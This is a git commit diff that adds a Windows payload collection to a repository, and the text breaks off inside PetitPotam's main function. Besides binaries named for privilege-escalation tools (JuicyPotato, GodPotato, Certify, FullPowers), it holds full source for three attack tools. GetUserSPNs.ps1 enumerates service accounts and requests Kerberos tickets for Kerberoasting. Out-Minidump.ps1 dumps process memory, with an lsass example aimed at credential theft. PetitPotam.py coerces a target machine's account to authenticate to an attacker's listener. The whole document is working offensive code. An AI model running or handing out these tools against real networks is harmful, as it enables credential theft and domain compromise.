Repository restructuring
This commit is contained in:
BIN
payloads/windows/Certify.exe
Normal file
BIN
payloads/windows/Certify.exe
Normal file
Binary file not shown.
BIN
payloads/windows/FullPowers.exe
Normal file
BIN
payloads/windows/FullPowers.exe
Normal file
Binary file not shown.
129
payloads/windows/GetUserSPNs.ps1
Normal file
129
payloads/windows/GetUserSPNs.ps1
Normal file
@@ -0,0 +1,129 @@
|
||||
# Edits by Tim Medin
|
||||
# File: GetUserSPNS.ps1
|
||||
# Contents: Query the domain to find SPNs that use User accounts
|
||||
# Comments: This is for use with Kerberoast https://github.com/nidem/kerberoast
|
||||
# The password hash used with Computer accounts are infeasible to
|
||||
# crack; however, if the User account associated with an SPN may have
|
||||
# a crackable password. This tool will find those accounts. You do not
|
||||
# need any special local or domain permissions to run this script.
|
||||
# This script on a script supplied by Microsoft (details below).
|
||||
# History: 2016/07/07 Tim Medin Add -UniqueAccounts parameter to only get unique SAMAccountNames
|
||||
# 2016/04/12 Tim Medin Added -Request option to automatically get the tickets
|
||||
# 2014/11/12 Tim Medin Created
|
||||
|
||||
[CmdletBinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False,Position=1)] [string]$GCName,
|
||||
[Parameter(Mandatory=$False)] [string]$Filter,
|
||||
[Parameter(Mandatory=$False)] [switch]$Request,
|
||||
[Parameter(Mandatory=$False)] [switch]$UniqueAccounts
|
||||
)
|
||||
|
||||
Add-Type -AssemblyName System.IdentityModel
|
||||
|
||||
$GCs = @()
|
||||
|
||||
If ($GCName) {
|
||||
$GCs += $GCName
|
||||
} else { # find them
|
||||
$ForestInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
|
||||
$CurrentGCs = $ForestInfo.FindAllGlobalCatalogs()
|
||||
ForEach ($GC in $CurrentGCs) {
|
||||
#$GCs += $GC.Name
|
||||
$GCs += $ForestInfo.ApplicationPartitions[0].SecurityReferenceDomain
|
||||
}
|
||||
}
|
||||
|
||||
if (-not $GCs) {
|
||||
# no Global Catalogs Found
|
||||
Write-Host "No Global Catalogs Found!"
|
||||
Exit
|
||||
}
|
||||
|
||||
<#
|
||||
Things you can extract
|
||||
Name Value
|
||||
---- -----
|
||||
admincount {1}
|
||||
samaccountname {sqlengine}
|
||||
useraccountcontrol {66048}
|
||||
primarygroupid {513}
|
||||
userprincipalname {sqlengine@medin.local}
|
||||
instancetype {4}
|
||||
displayname {sqlengine}
|
||||
pwdlastset {130410454241766739}
|
||||
memberof {CN=Domain Admins,CN=Users,DC=medin,DC=local}
|
||||
samaccounttype {805306368}
|
||||
serviceprincipalname {MSSQLSvc/sql01.medin.local:1433, MSSQLSvc/sql01.medin.local}
|
||||
usnchanged {135252}
|
||||
lastlogon {130563243107145358}
|
||||
accountexpires {9223372036854775807}
|
||||
logoncount {34}
|
||||
adspath {LDAP://CN=sqlengine,CN=Users,DC=medin,DC=local}
|
||||
distinguishedname {CN=sqlengine,CN=Users,DC=medin,DC=local}
|
||||
badpwdcount {0}
|
||||
codepage {0}
|
||||
name {sqlengine}
|
||||
whenchanged {9/22/2014 6:45:21 AM}
|
||||
badpasswordtime {0}
|
||||
dscorepropagationdata {4/4/2014 2:16:44 AM, 4/4/2014 12:58:27 AM, 4/4/2014 12:37:04 AM,...
|
||||
lastlogontimestamp {130558419213902030}
|
||||
lastlogoff {0}
|
||||
objectclass {top, person, organizationalPerson, user}
|
||||
countrycode {0}
|
||||
cn {sqlengine}
|
||||
whencreated {4/4/2014 12:37:04 AM}
|
||||
objectsid {1 5 0 0 0 0 0 5 21 0 0 0 191 250 179 30 180 59 104 26 248 205 17...
|
||||
objectguid {101 165 206 61 61 201 88 69 132 246 108 227 231 47 109 102}
|
||||
objectcategory {CN=Person,CN=Schema,CN=Configuration,DC=medin,DC=local}
|
||||
usncreated {57551}
|
||||
#>
|
||||
|
||||
ForEach ($GC in $GCs) {
|
||||
$searcher = New-Object System.DirectoryServices.DirectorySearcher
|
||||
$searcher.SearchRoot = "LDAP://" + $GC
|
||||
$searcher.PageSize = 1000
|
||||
$searcher.Filter = "(&(!objectClass=computer)(servicePrincipalName=*))"
|
||||
$searcher.PropertiesToLoad.Add("serviceprincipalname") | Out-Null
|
||||
$searcher.PropertiesToLoad.Add("name") | Out-Null
|
||||
$searcher.PropertiesToLoad.Add("samaccountname") | Out-Null
|
||||
#$searcher.PropertiesToLoad.Add("userprincipalname") | Out-Null
|
||||
#$searcher.PropertiesToLoad.Add("displayname") | Out-Null
|
||||
$searcher.PropertiesToLoad.Add("memberof") | Out-Null
|
||||
$searcher.PropertiesToLoad.Add("pwdlastset") | Out-Null
|
||||
#$searcher.PropertiesToLoad.Add("distinguishedname") | Out-Null
|
||||
|
||||
$searcher.SearchScope = "Subtree"
|
||||
|
||||
$results = $searcher.FindAll()
|
||||
|
||||
[System.Collections.ArrayList]$accounts = @()
|
||||
|
||||
foreach ($result in $results) {
|
||||
foreach ($spn in $result.Properties["serviceprincipalname"]) {
|
||||
$o = Select-Object -InputObject $result -Property `
|
||||
@{Name="ServicePrincipalName"; Expression={$spn.ToString()} }, `
|
||||
@{Name="Name"; Expression={$result.Properties["name"][0].ToString()} }, `
|
||||
#@{Name="UserPrincipalName"; Expression={$result.Properties["userprincipalname"][0].ToString()} }, `
|
||||
@{Name="SAMAccountName"; Expression={$result.Properties["samaccountname"][0].ToString()} }, `
|
||||
#@{Name="DisplayName"; Expression={$result.Properties["displayname"][0].ToString()} }, `
|
||||
@{Name="MemberOf"; Expression={$result.Properties["memberof"][0].ToString()} }, `
|
||||
@{Name="PasswordLastSet"; Expression={[datetime]::fromFileTime($result.Properties["pwdlastset"][0])} } #, `
|
||||
#@{Name="DistinguishedName"; Expression={$result.Properties["distinguishedname"][0].ToString()} }
|
||||
if ($UniqueAccounts) {
|
||||
if (-not $accounts.Contains($result.Properties["samaccountname"][0].ToString())) {
|
||||
$accounts.Add($result.Properties["samaccountname"][0].ToString()) | Out-Null
|
||||
$o
|
||||
if ($Request) {
|
||||
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null
|
||||
}
|
||||
}
|
||||
} else {
|
||||
$o
|
||||
if ($Request) {
|
||||
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
BIN
payloads/windows/GodPotato.exe
Normal file
BIN
payloads/windows/GodPotato.exe
Normal file
Binary file not shown.
BIN
payloads/windows/JuicyPotato.exe
Normal file
BIN
payloads/windows/JuicyPotato.exe
Normal file
Binary file not shown.
BIN
payloads/windows/JuicyPotato64.exe
Normal file
BIN
payloads/windows/JuicyPotato64.exe
Normal file
Binary file not shown.
130
payloads/windows/Out-Minidump.ps1
Normal file
130
payloads/windows/Out-Minidump.ps1
Normal file
@@ -0,0 +1,130 @@
|
||||
function Out-Minidump
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Generates a full-memory minidump of a process.
|
||||
|
||||
PowerSploit Function: Out-Minidump
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Out-Minidump writes a process dump file with all process memory to disk.
|
||||
This is similar to running procdump.exe with the '-ma' switch.
|
||||
|
||||
.PARAMETER Process
|
||||
|
||||
Specifies the process for which a dump will be generated. The process object
|
||||
is obtained with Get-Process.
|
||||
|
||||
.PARAMETER DumpFilePath
|
||||
|
||||
Specifies the path where dump files will be written. By default, dump files
|
||||
are written to the current working directory. Dump file names take following
|
||||
form: processname_id.dmp
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Out-Minidump -Process (Get-Process -Id 4293)
|
||||
|
||||
Description
|
||||
-----------
|
||||
Generate a minidump for process ID 4293.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-Process lsass | Out-Minidump
|
||||
|
||||
Description
|
||||
-----------
|
||||
Generate a minidump for the lsass process. Note: To dump lsass, you must be
|
||||
running from an elevated prompt.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-Process | Out-Minidump -DumpFilePath C:\temp
|
||||
|
||||
Description
|
||||
-----------
|
||||
Generate a minidump of all running processes and save them to C:\temp.
|
||||
|
||||
.INPUTS
|
||||
|
||||
System.Diagnostics.Process
|
||||
|
||||
You can pipe a process object to Out-Minidump.
|
||||
|
||||
.OUTPUTS
|
||||
|
||||
System.IO.FileInfo
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.exploit-monday.com/
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)]
|
||||
[System.Diagnostics.Process]
|
||||
$Process,
|
||||
|
||||
[Parameter(Position = 1)]
|
||||
[ValidateScript({ Test-Path $_ })]
|
||||
[String]
|
||||
$DumpFilePath = $PWD
|
||||
)
|
||||
|
||||
BEGIN
|
||||
{
|
||||
$WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')
|
||||
$WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic')
|
||||
$Flags = [Reflection.BindingFlags] 'NonPublic, Static'
|
||||
$MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags)
|
||||
$MiniDumpWithFullMemory = [UInt32] 2
|
||||
}
|
||||
|
||||
PROCESS
|
||||
{
|
||||
$ProcessId = $Process.Id
|
||||
$ProcessName = $Process.Name
|
||||
$ProcessHandle = $Process.Handle
|
||||
$ProcessFileName = "$($ProcessName)_$($ProcessId).dmp"
|
||||
|
||||
$ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName
|
||||
|
||||
$FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create)
|
||||
|
||||
$Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle,
|
||||
$ProcessId,
|
||||
$FileStream.SafeFileHandle,
|
||||
$MiniDumpWithFullMemory,
|
||||
[IntPtr]::Zero,
|
||||
[IntPtr]::Zero,
|
||||
[IntPtr]::Zero))
|
||||
|
||||
$FileStream.Close()
|
||||
|
||||
if (-not $Result)
|
||||
{
|
||||
$Exception = New-Object ComponentModel.Win32Exception
|
||||
$ExceptionMessage = "$($Exception.Message) ($($ProcessName):$($ProcessId))"
|
||||
|
||||
# Remove any partially written dump files. For example, a partial dump will be written
|
||||
# in the case when 32-bit PowerShell tries to dump a 64-bit process.
|
||||
Remove-Item $ProcessDumpPath -ErrorAction SilentlyContinue
|
||||
|
||||
throw $ExceptionMessage
|
||||
}
|
||||
else
|
||||
{
|
||||
Get-ChildItem $ProcessDumpPath
|
||||
}
|
||||
}
|
||||
|
||||
END {}
|
||||
}
|
||||
461
payloads/windows/PetitPotam.py
Normal file
461
payloads/windows/PetitPotam.py
Normal file
@@ -0,0 +1,461 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# Author: GILLES Lionel aka topotam (@topotam77)
|
||||
#
|
||||
# Greetz : grenadine(@Greynardine), skar(@__skar), didakt(@inf0sec1), plissken, pixis(@HackAndDo) my friends!
|
||||
# "Most of" the code stolen from dementor.py from @3xocyte ;)
|
||||
|
||||
|
||||
import sys
|
||||
import argparse
|
||||
|
||||
from impacket import system_errors
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
|
||||
from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
|
||||
|
||||
show_banner = '''
|
||||
|
||||
___ _ _ _ ___ _
|
||||
| _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __
|
||||
| _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \
|
||||
_|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_|
|
||||
_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
|
||||
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
|
||||
|
||||
PoC to elicit machine account authentication via some MS-EFSRPC functions
|
||||
by topotam (@topotam77)
|
||||
|
||||
Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN
|
||||
|
||||
|
||||
'''
|
||||
|
||||
class DCERPCSessionError(DCERPCException):
|
||||
def __init__(self, error_string=None, error_code=None, packet=None):
|
||||
DCERPCException.__init__(self, error_string, error_code, packet)
|
||||
|
||||
def __str__( self ):
|
||||
key = self.error_code
|
||||
if key in system_errors.ERROR_MESSAGES:
|
||||
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
|
||||
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
|
||||
return 'EFSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
|
||||
else:
|
||||
return 'EFSR SessionError: unknown error code: 0x%x' % self.error_code
|
||||
|
||||
|
||||
################################################################################
|
||||
# STRUCTURES
|
||||
################################################################################
|
||||
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Data', '20s'),
|
||||
)
|
||||
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Data', '20s'),
|
||||
)
|
||||
class EFS_EXIM_PIPE(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Data', ':'),
|
||||
)
|
||||
class EFS_HASH_BLOB(NDRSTRUCT):
|
||||
|
||||
structure = (
|
||||
('Data', DWORD),
|
||||
('cbData', PCHAR),
|
||||
)
|
||||
class EFS_RPC_BLOB(NDRSTRUCT):
|
||||
|
||||
structure = (
|
||||
('Data', DWORD),
|
||||
('cbData', PCHAR),
|
||||
)
|
||||
|
||||
class EFS_CERTIFICATE_BLOB(NDRSTRUCT):
|
||||
structure = (
|
||||
('Type', DWORD),
|
||||
('Data', DWORD),
|
||||
('cbData', PCHAR),
|
||||
)
|
||||
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
|
||||
structure = (
|
||||
('Lenght', DWORD),
|
||||
('SID', RPC_SID),
|
||||
('Hash', EFS_HASH_BLOB),
|
||||
('Display', LPWSTR),
|
||||
)
|
||||
class ENCRYPTION_CERTIFICATE(NDRSTRUCT):
|
||||
structure = (
|
||||
('Lenght', DWORD),
|
||||
('SID', RPC_SID),
|
||||
('Hash', EFS_CERTIFICATE_BLOB),
|
||||
|
||||
)
|
||||
class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Cert', DWORD),
|
||||
('Users', ENCRYPTION_CERTIFICATE_HASH),
|
||||
)
|
||||
class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT):
|
||||
structure = (
|
||||
('Type', DWORD),
|
||||
('HASH', ENCRYPTION_CERTIFICATE_HASH_LIST),
|
||||
('Certif', ENCRYPTION_CERTIFICATE),
|
||||
('Blob', EFS_RPC_BLOB),
|
||||
)
|
||||
class EFS_RPC_BLOB(NDRSTRUCT):
|
||||
structure = (
|
||||
('Data', DWORD),
|
||||
('cbData', PCHAR),
|
||||
)
|
||||
class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Data', ':'),
|
||||
)
|
||||
|
||||
################################################################################
|
||||
# RPC CALLS
|
||||
################################################################################
|
||||
class EfsRpcOpenFileRaw(NDRCALL):
|
||||
opnum = 0
|
||||
structure = (
|
||||
('fileName', WSTR),
|
||||
('Flag', ULONG),
|
||||
)
|
||||
|
||||
class EfsRpcOpenFileRawResponse(NDRCALL):
|
||||
structure = (
|
||||
('hContext', EXIMPORT_CONTEXT_HANDLE),
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcEncryptFileSrv(NDRCALL):
|
||||
opnum = 4
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
)
|
||||
|
||||
class EfsRpcEncryptFileSrvResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcDecryptFileSrv(NDRCALL):
|
||||
opnum = 5
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
('Flag', ULONG),
|
||||
)
|
||||
|
||||
class EfsRpcDecryptFileSrvResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcQueryUsersOnFile(NDRCALL):
|
||||
opnum = 6
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
|
||||
)
|
||||
class EfsRpcQueryUsersOnFileResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcQueryRecoveryAgents(NDRCALL):
|
||||
opnum = 7
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
|
||||
)
|
||||
class EfsRpcQueryRecoveryAgentsResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcRemoveUsersFromFile(NDRCALL):
|
||||
opnum = 8
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
('Users', ENCRYPTION_CERTIFICATE_HASH_LIST)
|
||||
|
||||
)
|
||||
class EfsRpcRemoveUsersFromFileResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcAddUsersToFile(NDRCALL):
|
||||
opnum = 9
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST)
|
||||
|
||||
)
|
||||
class EfsRpcAddUsersToFileResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcFileKeyInfo(NDRCALL):
|
||||
opnum = 12
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
('infoClass', DWORD),
|
||||
)
|
||||
class EfsRpcFileKeyInfoResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcDuplicateEncryptionInfoFile(NDRCALL):
|
||||
opnum = 13
|
||||
structure = (
|
||||
('SrcFileName', WSTR),
|
||||
('DestFileName', WSTR),
|
||||
('dwCreationDisposition', DWORD),
|
||||
('dwAttributes', DWORD),
|
||||
('RelativeSD', EFS_RPC_BLOB),
|
||||
('bInheritHandle', BOOL),
|
||||
)
|
||||
|
||||
class EfsRpcDuplicateEncryptionInfoFileResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcAddUsersToFileEx(NDRCALL):
|
||||
opnum = 15
|
||||
structure = (
|
||||
('dwFlags', DWORD),
|
||||
('Reserved', EFS_RPC_BLOB),
|
||||
('FileName', WSTR),
|
||||
('dwAttributes', DWORD),
|
||||
('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST),
|
||||
)
|
||||
|
||||
class EfsRpcAddUsersToFileExResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcFileKeyInfoEx(NDRCALL):
|
||||
opnum = 16
|
||||
structure = (
|
||||
('dwFileKeyInfoFlags', DWORD),
|
||||
('Reserved', EFS_RPC_BLOB),
|
||||
('FileName', WSTR),
|
||||
('InfoClass', DWORD),
|
||||
)
|
||||
class EfsRpcFileKeyInfoExResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcGetEncryptedFileMetadata(NDRCALL):
|
||||
opnum = 18
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
)
|
||||
class EfsRpcGetEncryptedFileMetadataResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcSetEncryptedFileMetadata(NDRCALL):
|
||||
opnum = 19
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
('OldEfsStreamBlob', EFS_RPC_BLOB),
|
||||
('NewEfsStreamBlob', EFS_RPC_BLOB),
|
||||
('NewEfsSignature', ENCRYPTED_FILE_METADATA_SIGNATURE),
|
||||
)
|
||||
class EfsRpcSetEncryptedFileMetadataResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcEncryptFileExSrv(NDRCALL):
|
||||
opnum = 21
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
('ProtectorDescriptor', WSTR),
|
||||
('Flags', ULONG),
|
||||
)
|
||||
class EfsRpcEncryptFileExSrvResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
#class EfsRpcQueryProtectors(NDRCALL):
|
||||
# opnum = 21
|
||||
# structure = (
|
||||
# ('FileName', WSTR),
|
||||
# ('ppProtectorList', PENCRYPTION_PROTECTOR_LIST),
|
||||
# )
|
||||
#class EfsRpcQueryProtectorsResponse(NDRCALL):
|
||||
# structure = (
|
||||
# ('ErrorCode', ULONG),
|
||||
# )
|
||||
|
||||
################################################################################
|
||||
# OPNUMs and their corresponding structures
|
||||
################################################################################
|
||||
OPNUMS = {
|
||||
0 : (EfsRpcOpenFileRaw, EfsRpcOpenFileRawResponse),
|
||||
4 : (EfsRpcEncryptFileSrv, EfsRpcEncryptFileSrvResponse),
|
||||
5 : (EfsRpcDecryptFileSrv, EfsRpcDecryptFileSrvResponse),
|
||||
6 : (EfsRpcQueryUsersOnFile, EfsRpcQueryUsersOnFileResponse),
|
||||
7 : (EfsRpcQueryRecoveryAgents, EfsRpcQueryRecoveryAgentsResponse),
|
||||
8 : (EfsRpcRemoveUsersFromFile, EfsRpcRemoveUsersFromFileResponse),
|
||||
9 : (EfsRpcAddUsersToFile, EfsRpcAddUsersToFileResponse),
|
||||
12 : (EfsRpcFileKeyInfo, EfsRpcFileKeyInfoResponse),
|
||||
13 : (EfsRpcDuplicateEncryptionInfoFile, EfsRpcDuplicateEncryptionInfoFileResponse),
|
||||
15 : (EfsRpcAddUsersToFileEx, EfsRpcAddUsersToFileExResponse),
|
||||
16 : (EfsRpcFileKeyInfoEx, EfsRpcFileKeyInfoExResponse),
|
||||
18 : (EfsRpcGetEncryptedFileMetadata, EfsRpcGetEncryptedFileMetadataResponse),
|
||||
19 : (EfsRpcSetEncryptedFileMetadata, EfsRpcSetEncryptedFileMetadataResponse),
|
||||
21 : (EfsRpcEncryptFileExSrv, EfsRpcEncryptFileExSrvResponse),
|
||||
# 22 : (EfsRpcQueryProtectors, EfsRpcQueryProtectorsResponse),
|
||||
}
|
||||
|
||||
class CoerceAuth():
|
||||
def connect(self, username, password, domain, lmhash, nthash, target, pipe, doKerberos, dcHost, targetIp):
|
||||
binding_params = {
|
||||
'lsarpc': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % target,
|
||||
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||
},
|
||||
'efsr': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\efsrpc]' % target,
|
||||
'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0')
|
||||
},
|
||||
'samr': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\samr]' % target,
|
||||
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||
},
|
||||
'lsass': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\lsass]' % target,
|
||||
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||
},
|
||||
'netlogon': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\netlogon]' % target,
|
||||
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||
},
|
||||
}
|
||||
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding'])
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
|
||||
|
||||
if doKerberos:
|
||||
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
||||
if targetIp:
|
||||
rpctransport.setRemoteHost(targetIp)
|
||||
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.set_auth_type(RPC_C_AUTHN_WINNT)
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
print("[-] Connecting to %s" % binding_params[pipe]['stringBinding'])
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
print("Something went wrong, check error status => %s" % str(e))
|
||||
#sys.exit()
|
||||
return
|
||||
print("[+] Connected!")
|
||||
print("[+] Binding to %s" % binding_params[pipe]['MSRPC_UUID_EFSR'][0])
|
||||
try:
|
||||
dce.bind(uuidtup_to_bin(binding_params[pipe]['MSRPC_UUID_EFSR']))
|
||||
except Exception as e:
|
||||
print("Something went wrong, check error status => %s" % str(e))
|
||||
#sys.exit()
|
||||
return
|
||||
print("[+] Successfully bound!")
|
||||
return dce
|
||||
|
||||
def EfsRpcOpenFileRaw(self, dce, listener):
|
||||
print("[-] Sending EfsRpcOpenFileRaw!")
|
||||
try:
|
||||
request = EfsRpcOpenFileRaw()
|
||||
request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
|
||||
request['Flag'] = 0
|
||||
#request.dump()
|
||||
resp = dce.request(request)
|
||||
|
||||
except Exception as e:
|
||||
if str(e).find('ERROR_BAD_NETPATH') >= 0:
|
||||
print('[+] Got expected ERROR_BAD_NETPATH exception!!')
|
||||
print('[+] Attack worked!')
|
||||
#sys.exit()
|
||||
return None
|
||||
if str(e).find('rpc_s_access_denied') >= 0:
|
||||
print('[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!')
|
||||
print('[+] OK! Using unpatched function!')
|
||||
print("[-] Sending EfsRpcEncryptFileSrv!")
|
||||
try:
|
||||
request = EfsRpcEncryptFileSrv()
|
||||
request['FileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
|
||||
resp = dce.request(request)
|
||||
except Exception as e:
|
||||
if str(e).find('ERROR_BAD_NETPATH') >= 0:
|
||||
print('[+] Got expected ERROR_BAD_NETPATH exception!!')
|
||||
print('[+] Attack worked!')
|
||||
pass
|
||||
else:
|
||||
print("Something went wrong, check error status => %s" % str(e))
|
||||
return None
|
||||
#sys.exit()
|
||||
|
||||
else:
|
||||
print("Something went wrong, check error status => %s" % str(e))
|
||||
return None
|
||||
#sys.exit()
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(add_help = True, description = "PetitPotam - rough PoC to connect to lsarpc and elicit machine account authentication via MS-EFSRPC EfsRpcOpenFileRaw()")
|
||||
parser.add_argument('-u', '--username', action="store", default='', help='valid username')
|
||||
parser.add_argument('-p', '--password', action="store", default='', help='valid password (if omitted, it will be asked unless -no-pass)')
|
||||
parser.add_argument('-d', '--domain', action="store", default='', help='valid domain name')
|
||||
parser.add_argument('-hashes', action="store", metavar="[LMHASH]:NTHASH", help='NT/LM hashes (LM hash can be empty)')
|
||||
|
||||
parser.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
||||
parser.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
|
||||
'(KRB5CCNAME) based on target parameters. If valid credentials '
|
||||
'cannot be found, it will use the ones specified in the command '
|
||||
'line')
|
||||
parser.add_argument('-dc-ip', action="store", metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter')
|
||||
parser.add_argument('-target-ip', action='store', metavar="ip address",
|
||||
help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
|
||||
'This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it')
|
||||
|
||||
parser.add_argument('-pipe', action="store", choices=['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass', 'all'], default='lsarpc', help='Named pipe to use (default: lsarpc) or all')
|
||||
parser.add_argument('listener', help='ip address or hostname of listener')
|
||||
parser.add_argument('target', help='ip address or hostname of target')
|
||||
options = parser.parse_args()
|
||||
|
||||
if options.hashes is not None:
|
||||
lmhash, nthash = options.hashes.split(':')
|
||||
else:
|
||||
lmhash = ''
|
||||
nthash = ''
|
||||
|
||||
print(show_banner)
|
||||
|
||||
if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is not True:
|
||||
from getpass import getpass
|
||||
options.password = getpass("Password:")
|
||||
|
||||
plop = CoerceAuth()
|
||||
|
||||
if options.pipe == "all":
|
||||
all_pipes = ['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass']
|
||||
else:
|
||||
all_pipes = [options.pipe]
|
||||
|
||||
for all_pipe in all_pipes:
|
||||
print("Trying pipe", all_pipe)
|
||||
dce = plop.connect(username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=options.target, pipe=all_pipe, doKerberos=options.k, dcHost=options.dc_ip, targetIp=options.target_ip)
|
||||
if dce is not None:
|
||||
